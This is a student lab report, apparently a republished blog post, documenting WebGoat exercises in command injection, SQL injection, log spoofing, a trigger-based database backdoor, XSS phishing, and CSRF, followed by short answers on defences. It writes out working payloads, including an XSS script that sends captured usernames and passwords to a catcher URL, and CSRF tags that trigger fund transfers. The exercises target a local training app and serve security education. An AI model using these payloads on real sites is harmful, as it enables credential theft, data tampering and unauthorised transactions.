博客
关于我
强烈建议你试试无所不能的chatGPT,快点击我
2018-2019-2 20165204《网络对抗技术》 Exp9 Web安全基础
阅读量:4614 次
发布时间:2019-06-09

本文共 4221 字,大约阅读时间需要 14 分钟。

2018-2019-2 20165204《网络对抗技术》 Exp9 Web安全基础

实践内容

  • SQL注入攻击
    • 命令注入(Command Injection)
    • 数字型SQL注入(Numeric SQL Injection)
    • 日志欺骗(Log Spoofing)
    • 字符串型注入(String SQL Injection)
    • LAB: SQL Injection
    • 数据库后门(Database Backdoors)
  • XSS攻击
    • Phishing with XSS
    • Stored XSS Attacks
    • Reflected XSS Attacks
  • CSRF攻击
    • Cross Site Request Forgery
    • CSRF Prompt By-Pass

实践过程

WebGoat安装

WebGoat是OWASP组织研制出的用于进行web漏洞实验的Java靶场程序,用来说明web应用中存在的安全漏洞。

先把jar包下载到虚拟机中,在包的目录下使用指令java -jar webgoat-container-7.0.1-war-exec.jar进行WebGoat的安装。安装成功如下:

1296584-20190526145953765-604680531.png

之后在浏览器输入localhost:8080/WebGoat可进入WebGoat界面,使用默认用户名密码即可登录。

1296584-20190526150004387-1604869240.png

SQL注入攻击

1.命令注入(Command Injection)
  • 可以查看到相关端口的信息

选择Command Injection选项卡。

右击页面选择网页源代码,添加一句"& netstat -an & ipconfig"

1296584-20190526150020571-1748464036.png

点击view查看结果,可以查看到相关端口的信息:

1296584-20190526150029778-631513290.png

未注入则会返回Returncode 0

1296584-20190526150037194-688602083.png

数字型SQL注入(Numeric SQL Injection)

选择Numeric SQL Injection选项卡。

查看网页源代码。对源代码value="101"进行修改,在(城市编号101)后面添加or 1=1

1296584-20190526150046898-1326105998.png

修改完成后点击Go,即可查看到天气状况:

1296584-20190526150056548-129409082.png

日志欺骗(Log Spoofing)
  • 可以显示admin账户成功登陆。

在Log Spoofing选项卡的User Name一栏中输入webgoat%0d%0aLogin Succeeded for username: admin,其中%0d和%0a为回车和换行符。

1296584-20190526150104778-922333089.png

点击login,显示出了结果,下方提示语句多了webgoat Login Succeed的字样。

1296584-20190526150113058-113723280.png

字符串型注入(String SQL Injection)
  • 可以基于查询语句构造自己的SQL 注入字符串将所有信用卡信息显示出来。

选择String SQL Injection选项卡,输入查询用户名Smith' or 1=1--

,因为'提前闭合了",1=1为永真式,再使用--注释掉后面的内容,所以成功查询了数据库内的内容,select数据库中的内容。

1296584-20190526150121119-1078302818.png

LAB: SQL Injection
  • 可以绕过认证

如果在密码框直接输入' or 1=1 --会被限制输入长度

1296584-20190526150136638-1835146243.png

故在网页源代码中将长度限制修改。

1296584-20190526150155798-360182344.png

再使用永真式' or 1=1 --即可登录成功

1296584-20190526150203988-486230023.png

数据库后门(Database Backdoors)

输入用户ID:101可以查看到用户的信息。

1296584-20190526150210728-1636632906.png

接着输入101; update employee set salary=10000可以更改数据库中的数据。

1296584-20190526150224383-1705480736.png

设置触发器

101;CREATE TRIGGER myBackDoor BEFORE INSERT ON employee FOR EACH ROW BEGIN UPDATE employee SET email='john@hackme.com' WHERE userid = NEW.userid
成功创建后门

1296584-20190526150231842-597440047.png

XSS攻击

Phishing with XSS
  • 实现钓鱼工具或向某些官方页面中增加内容。

在页面的搜索框中输入

<form> <br><br><HR><H3>This feature requires account login:</H3 ><br><br> Enter Username:<br><input type="text" id="user" name="user"><br> Enter Password:<br><input type="password" name = "pass"><br> </form><br><br><HR>

会发现页面上多了一个表单:

1296584-20190526150240358-495138046.png

我们再加入一段传递参数的代码,组合之后如下:

<script> function hack() { alert("Had this been a real attack... Your credentials were just stolen. User Name = " + document.forms[0].user.value + "Password = " + document.forms[0].pass.value); XSSImage=new Image; XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user="+document.forms[0].user.value + "&password=" + document.forms[0].pass.value + ""; } </script> <form> <br><br><HR><H3>This feature requires account login:</H3 ><br><br> Enter Username:<br><input type="text" id="user" name="user"><br> Enter Password:<br><input type="password" name = "pass"><br> <input type="submit" name="login" value="login" onclick="hack()"> </form><br><br><HR>

在搜索框中输入该代码后,点击登录后用户名和密码会在弹窗中反馈给我们。

1296584-20190526150251949-263283892.png

Stored XSS Attacks
  • 创建非法的消息内容,可以导致其他用户访问时载入非预期的页面或内容

在Message中输入<script>alert("20165204 attack succeed!");</script>,提交后可以看到刚刚创建的帖子。点击20165204可以显示攻击成功弹窗。

1296584-20190526150306284-915689174.png

Reflected XSS Attacks
  • 恶意代码并没有保存在目标网站,通过引诱用户点击一个链接到目标网站的恶意链接来实施攻击的。

Enter your three digit access code:中输入<script>alert("I am ironman");</script>

1296584-20190526150314618-369848624.png

点击Purchase,成功显示警告框,内容为我们script脚本指定的内容。

1296584-20190526150328254-1144718934.png

输入实验一的脚本输入登录信息点击登录发现也可以成功,会返回我们一个登录信息.

1296584-20190526150348265-1886884101.png

CSRF攻击

Cross Site Request Forgery

查看页面右下方Parameters中的src和menu值,我的分别为309和900。

1296584-20190526150405011-746853079.png

我们在Message框中输入<img src="http://localhost:8080/WebGoat/attack?Screen=309&menu=900&transferFunds=5000" width="1" height="1" />以图片的的形式将URL放进Message框,这时的URL对用户是不可见的,用户一旦点击图片,就会触发一个CSRF事件,点击Submit提交,即转走的受害人的金额

输入任意Title,提交后,在Message List中生成以Title命名的链接(消息)。点击该消息,当前页面就会下载这个消息并显示出来,转走用户的5000元,从而达到CSRF攻击的目的。

1296584-20190526150438650-651911715.png

CSRF Prompt By-Pass

查看页面右下方的Parameters中的src和menu值,我的分别为331和900,并输入任意的Title,message框中输入代码.

1296584-20190526150448393-1855818525.png

<iframe src="attack?Screen=331&menu=900&transferFunds=5000"> </iframe> <iframe> src="attack?Screen=331&menu=900&transferFunds=CONFIRM"> </iframe>

点击submit,生成以title命名的链接,点击链接攻击成功

1296584-20190526150522809-970888011.png

实验结论

基础问题回答

1.SQL注入攻击原理,如何防御

SQL通过构建特殊的输入作为参数传入Web应用程序,而这些输入大都是SQL语法里的一些组合,通过执行SQL语句进而执行攻击者所要的操作。

具体防御时可以可以在输入框内限制特殊字符,限制输入长度来达到目的。或者对数据库权限进行限制。

2.XSS攻击的原理,如何防御

XSS:跨站脚本攻击,是一种网站应用程序的安全漏洞攻击。攻击者通过往Web页面里插入恶意html标签或者javascript代码,当用户浏览该页或者进行某些操作时,利用用户对原网站的信任,诱骗用户或浏览器执行一些不安全的操作或者向其它网站提交用户的私密信息。

防御方法也是限制特殊字符、还有对表单内容进行过滤等。

3、CSRF攻击原理,如何防御

全程为跨站域请求伪造,攻击者借用用户的身份,向web server发送请求,因为该请求不是用户本意,所以称为“跨站请求伪造”。算是XSS攻击中的一种。

防御方法:

  1. 伪造的请求一般是从第三方网站发起的,所以第一个防御方法就是判断 referer 头,如果不是来自本网站的请求,就判定为CSRF攻击。
  2. 使用验证码。

实验总结与体会

本次实验环境类似于之前使用的实验楼,在虚拟环境中实现一个又一个题目。现在也算理解为什么那么多字符不可以使用。如果是自己编的网站可能随随便便就被黑穿了。

转载于:https://www.cnblogs.com/jph596299009/p/10926108.html

你可能感兴趣的文章
C2. Power Transmission (Hard Edition)(线段相交)
查看>>
STM32F0使用LL库实现SHT70通讯
查看>>
Atitit. Xss 漏洞的原理and应用xss木马
查看>>
MySQL源码 数据结构array
查看>>
(文件过多时)删除目录下全部文件
查看>>
T-SQL函数总结
查看>>
python 序列:列表
查看>>
web移动端
查看>>
pythonchallenge闯关 第13题
查看>>
个人介绍
查看>>
使用python动态特性时,让pycharm自动补全
查看>>
MySQL数据库免安装版配置
查看>>
你必知必会的SQL面试题
查看>>
html5 Canvas绘制时钟以及绘制运动的圆
查看>>
云推送注意(MSDN链接)
查看>>
Metro Style app :浏览器扩展
查看>>
linux的kernel是怎样工作的(TI_DM36X_ARM系统)(1)
查看>>
[luogu4310] 绝世好题 (递推)
查看>>
[luogu3203 HNOI2010] 弹飞绵羊 (分块)
查看>>
mui搜索框 搜索点击事件
查看>>